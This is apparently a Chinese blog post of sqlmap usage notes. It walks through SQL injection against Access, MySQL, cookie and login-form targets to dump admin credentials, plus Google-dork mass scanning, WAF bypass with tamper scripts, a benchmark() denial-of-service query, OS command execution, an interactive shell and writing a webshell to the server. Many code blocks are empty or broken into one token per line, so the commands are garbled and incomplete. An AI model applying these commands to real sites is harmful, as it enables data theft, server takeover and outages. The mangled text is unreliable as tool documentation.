sqlmap也是渗透中经常使用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各类工具,只是一个便捷性问题,sql注入另外一方面就是手工党了,这个就另当别论了。今天把我一直以来整理的sqlmap笔记发布上来供你们参考。
表内查找字段 从数据库中搜索字段
sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms - -search -C admin,password --dumpphp
一共有11种常见SQLmap使用方法:
1、SQLMAP用于Access数据库注入
(1) 猜解是否能注入html
1
2
|
|
(2) 猜解表
python
1
2
|
|
(3) 根据猜解的表进行猜解表的字段(假如经过2获得了admin这个表)
mysql
1
2
|
|
(4) 根据字段猜解内容(假如经过3获得字段为username和password)
web
1
2
3
|
win
:
python sqlmap.py
-
u
"http://www.xxx.com/en/CompHonorBig.asp?id=7"
--dump -T admin -C "username,password"
"username,[url=]B[/url]password"
|
2、SQLMAP用于Cookie注入
(1) cookie注入,猜解表
正则表达式
1
|
|
(2) 猜解字段,(经过1的表猜解字段,假如表为admin)
sql
1
2
|
admin
--level 2
|
(3) 猜解内容
shell
1
2
|
admin
-
C
"username,password"
--level 2
|
3、SQLMAP用于mysql中DDOS攻击(1) 获取一个Shell
数据库
1
2
3
4
|
win
:
python sqlmap.py
-
u [
url
]http
:
/
/
192.1
68.1
59.1
/
news.php?
id
=
1
[
/
url
]
--sql-shell
Linux
:
sqlmap
-
u [
url
]http
:
/
/
192.1
68.1
59.1
/
news.php?
id
=
1
[
/
url
]
--sql-shell
|
(2) 输入执行语句完成DDOS攻击
后端
1
|
select
benchmark
(
99999999999
,
0
x
70726
f
62616
e
646
f
70726
f
62616
e
646
f
70726
f
62616
e
646
f
)
|
4、SQLMAP用于mysql注入
(1) 查找数据库
1
|
|
(2) 经过第一步的数据库查找表(假如数据库名为dataname)
1
|
|
(3) 经过2中的表得出列名(假如表为table_name)
1
|
|
(4) 获取字段的值(假如扫描出id,user,password字段)
1
2
|
"id,user,password"
--dump
|
5、SQLMAP中post登录框注入
(1) 其中的search-test.txt是经过抓包工具burp suite抓到的包并把数据保存为这个txt文件
咱们在使用Sqlmap进行post型注入时,常常会出现请求遗漏致使注入失败的状况。这里分享一个小技巧,即结合burpsuite来使用sqlmap,用这种方法进行post注入测试会更准确,操做起来也很是容易。
1. 浏览器打开目标地址http:// www.xxx.com /Login.asp
2. 配置burp代理(127.0.0.1:8080)以拦截请求
3. 点击login表单的submit按钮
4. 这时候Burp会拦截到了咱们的登陆POST请求
5. 把这个post请求复制为txt, 我这命名为search-test.txt 而后把它放至sqlmap目录下
6. 运行sqlmap并使用以下命令:
1
|
.
/
sqlmap.py
-
r search
-
test.txt
-
p tfUPass
|
这里参数-r 是让sqlmap加载咱们的post请求rsearch-test.txt,而-p 你们应该比较熟悉,指定注入用的参数。
注入点:http://testasp.vulnweb.com/Login.asp
几种注入方式:./sqlmap.py -r search-test.txt -p tfUPass
(2) 自动的搜索
1
|
sqlmap
-
u [
url
]http
:
/
/
testasp.vulnweb.com
/
Login.asp[
/
url
]
--forms
|
(3) 指定参数搜索
1
|
sqlmap
-
u [
url
]http
:
/
/
testasp.vulnweb.com
/
Login.asp[
/
url
]
--data "tfUName=321&tfUPass=321"
|
6、SQLMAP中Google搜索注入
inurl后面的语言是由本身定的
注入过程当中若是选y是注入,若是不是选n
1
|
sqlmap
-
g inurl
:
php?
id
=
|
7、SQLMAP中的请求延迟
参数 --delay --safe-freq
1
2
|
python sqlmap.py
--dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --delay 1
python sqlmap.py
--dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --safe-freq 3
|
参数
8、SQLMAP绕过WAF防火墙
注入点:http://192.168.159.1/news.php?id=1
1
|
sqlmap
-
u [
url
]http
:
/
/
192.1
68.1
59.1
/
news.php?
id
=
1
[
/
url
]
-
v
3
--dbs --batch --tamper "space2morehash.py"
|
space2morehash.py中能够替换space2hash.py或者base64encode.py或者charencode.py
都是编码方式
space2hash.py base64encode.py charencode.py
9、SQLMAP查看权限
1
|
sqlmap
-
u [
url
]http
:
/
/
192.1
68.1
59.1
/
news.php?
id
=
1
[
/
url
]
--privileges
|
10、SQLMAP伪静态注入(1) 查找数据库
1
|
|
(2) 经过1中的数据库查找对应的表 (假如经过1,获得的是dataname)
1
|
|
(3) 经过2中的数据表获得字段(假如获得的是tablename表)
1
2
|
tablename
--columns
|
(4) 经过3获得字段值(假如从3中获得字段id,password)
1
2
|
tablename
-
C
"password"
--dump
|
11、SQLMAP注入点执行命令与交互写shell
(1) 注入点:http://192.168.159.1/news.php?id=1
此处采用的是Linux系统
1
|
sqlmap
-
u [
url
]http
:
/
/
192.1
68.1
59.1
/
news.php?
id
=
1
[
/
url
]
--os-cmd=ipconfig
|
出现语言的选择根据实际的测试网站选择语言
指定目标站点D:/www/
(2) 获取Shell
1
|
sqlmap
-
u [
url
]http
:
/
/
192.1
68.1
59.1
/
news.php?
id
=
1
[
/
url
]
--os-shell
|
出现语言的选择根据实际的测试网站选择语言
指定目标站点D:/www/
输入ipconfig/all
建立用户和删除用户
只要权限足够大,你能够输入使用任何命令。
其余命令参考下面:
从数据库中搜索字段
1
|
sqlmap
-
r “c
:
\tools\request.txt” –dbms mysql
-
D dedecms –search
-
C admin
,
password
|
在dedecms数据库中搜索字段admin或者password。
读取与写入文件
首先找须要网站的物理路径,其次须要有可写或可读权限。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:
1
|
sqlmap
-
r “c
:
\request.txt”
-
p
id
–dbms mysql –
file
-
dest “e
:
\php\htdocs\dvwa\inc\include\
1.
php” –
file
-
write
“f
:
\webshell\
1112.
php”
|
使用shell命令:
1
|
sqlmap
-
r “c
:
\tools\request.txt”
-
p
id
–dms mysql –os
-
shell
|
接下来指定网站可写目录:
“E:\php\htdocs\dvwa”
#注:mysql不支持列目录,仅支持读取单个文件。sqlserver能够列目录,不能读写文件,但须要一个(xp_dirtree函数)
sqlmap详细命令:
-is-dba 当前用户权限(是否为root权限)
-dbs 全部数据库
-current-db 网站当前数据库
-users 全部数据库用户
-current-user 当前数据库用户
-random-agent 构造随机user-agent
-passwords 数据库密码
-proxy http://local:8080 –threads 10 (能够自定义线程加速) 代理
-time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
Options(选项):
Target(目标):
如下至少须要设置其中一个选项,设置目标URL。
Request(请求):
这些选项能够用来指定如何链接到目标URL。
Enumeration(枚举):
这些选项能够用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还能够运行您本身的SQL语句。
Optimization(优化):
这些选项可用于优化SqlMap的性能。
Injection(注入):
这些选项能够用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。
Detection(检测):
这些选项能够用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
Techniques(技巧):
这些选项可用于调整具体的SQL注入测试。
Fingerprint(指纹):
-f, –fingerprint 执行检查普遍的DBMS版本指纹
Brute force(蛮力):
这些选项能够被用来运行蛮力检查。
–common-tables 检查存在共同表
–common-columns 检查存在共同列
User-defined function injection(用户自定义函数注入):
这些选项能够用来建立用户自定义函数。
–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径
File system access(访问文件系统):
这些选项能够被用来访问后端数据库管理系统的底层文件系统。
Operating system access(操做系统访问):
这些选项能够用于访问后端数据库管理系统的底层操做系统。
Windows注册表访问:
这些选项能够被用来访问后端数据库管理系统Windows注册表。
Miscellaneous(杂项):